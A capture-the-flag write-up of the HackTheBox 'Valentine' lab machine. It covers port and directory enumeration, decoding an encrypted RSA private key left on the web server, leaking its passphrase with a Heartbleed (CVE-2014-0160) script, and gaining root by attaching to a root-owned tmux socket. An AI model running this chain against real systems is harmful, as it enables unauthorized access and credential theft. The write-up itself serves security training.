Welcome to the Valentine writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k

Valentine

tags: HTB Easy Linux OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

# nmap -p- -T4 10.10.10.79
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-27 08:39 CET
Nmap scan report for 10.10.10.79
Host is up (0.094s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 46.22 seconds

Now that we know the open ports, let's scan them in depth.

# nmap -A -Pn -p 22,80,443 10.10.10.79
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-27 08:43 CET
Nmap scan report for 10.10.10.79
Host is up (0.094s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
|_ssl-date: 2021-03-27T07:49:13+00:00; +4m54s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|media device
Running (JUST GUESSING): Linux 3.X|2.6.X (95%), Nokia embedded (95%), Google Android 4.0.X|4.2.X (93%), Yamaha embedded (92%)
OS CPE: cpe:/o:linux:linux_kernel:3.0 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:2.6.32 cpe:/h:nokia:n9 cpe:/o:google:android:4.0.4 cpe:/o:google:android:4.2.1 cpe:/o:google:android:4.2.2 cpe:/h:yamaha:rx-v481d
Aggressive OS guesses: Linux 3.0 (95%), Linux 2.6.32 - 3.5 (95%), Nokia N9 phone (Linux 2.6.32) (95%), Linux 3.2 (95%), Linux 2.6.38 - 3.0 (94%), Linux 2.6.38 - 2.6.39 (94%), Linux 2.6.39 (94%), Linux 2.6.32 - 3.10 (93%), Linux 2.6.32 - 3.9 (93%), Android 4.0.4 (Linux 3.0) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 4m53s

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1   94.24 ms 10.10.14.1
2   94.35 ms 10.10.10.79

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.45 seconds

Well, we have open port 22 (SSH), port 80 (Apache) and port 443 (Apache SSL). Also, in the line of the ssl-cert of port 443 we can see the domain name used valentine.htb which we are going to add to our /etc/hosts file.

Nmap Vuln Scan

Let's run a vulnerability scan with Nmap.

# nmap -A -Pn -p 22,80,443 10.10.10.79 --script=vuln
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-27 08:55 CET
...........................................................................
...........................................................................
...........................................................................
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
...........................................................................
...........................................................................
...........................................................................
| ssl-heartbleed: 
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       http://www.openssl.org/news/secadv_20140407.txt 
|       http://cvedetails.com/cve/2014-0160/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
...........................................................................
...........................................................................
...........................................................................

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.93 seconds

Well, as we see in the report, it seems to be vulnerable to Heartbleed.

Gobuster

# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://valentine.htb/ -x php,html,txt,bak -t 50
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://valentine.htb/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     bak,php,html,txt
[+] Timeout:        10s
===============================================================
2021/03/27 08:50:25 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.txt (Status: 403)
/.htaccess.bak (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.bak (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.txt (Status: 403)
/cgi-bin/ (Status: 403)
/cgi-bin/.html (Status: 403)
/decode (Status: 200)
/decode.php (Status: 200)
/dev (Status: 301)
/encode (Status: 200)
/encode.php (Status: 200)
/index (Status: 200)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2021/03/27 08:53:44 Finished
===============================================================

Web Server

Inside the /dev directory we can find two files hype_key which seems to be in hex and note.txt with the following content.

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

Let's decode the file hype_key.

# cat hype_key | xxd -r -p
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

Wow! is an RSA key!
Let's try to connect by SSH.

# ssh -i rsa valentine.htb
load pubkey "rsa": invalid format
Enter passphrase for key 'rsa':

It's protected ... let's try to leak the password with Heartbleed.

Exploitation

Heartbleed

Searching the internet I have found this CVE-2014-0160 script.

# python heartbleed.py valentine.htb

defribulator v1.16
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)

##################################################################
Connecting to: valentine.htb:443, 1 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0

WARNING: valentine.htb:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
##################################################################

.@....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==...*s.....m[a.I.c

Ok, It has returned a fragment in base64, let's decode it.

# echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d
heartbleedbelievethehype
# ssh -i rsa root@valentine.htb
load pubkey "rsa": invalid format
Enter passphrase for key 'rsa': 
root@valentine.htb's password:

The passphrase is correct but, we need to know which user it corresponds to.
If we look at it, in the folder /dev was the file hyper_key so maybe the user is hype. Let's try.

# ssh -i rsa hype@valentine.htb
load pubkey "rsa": invalid format
Enter passphrase for key 'rsa': 
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$

We are in! Let's read the user flag.

hype@Valentine:~$ cd Desktop/
hype@Valentine:~/Desktop$ ls
user.txt
hype@Valentine:~/Desktop$ cat user.txt
CENSORED_FLAG

Post exploitation

Privilege escalation

By listing the active root processes we can find an active tmux session. We can connect to that session and we would have access as root.

hype@Valentine:~$ ps -ef | grep root
............................................................................
............................................................................
root       1033      1  0 00:41 ?        00:00:09 /usr/bin/tmux -S /.devs/dev_sess
............................................................................
............................................................................
hype@Valentine:~$ /usr/bin/tmux -S /.devs/dev_sess
root@Valentine:/home/hype# id
uid=0(root) gid=0(root) groups=0(root)
root@Valentine:/home/hype# cat /root/root.txt 
CENSORED_FLAG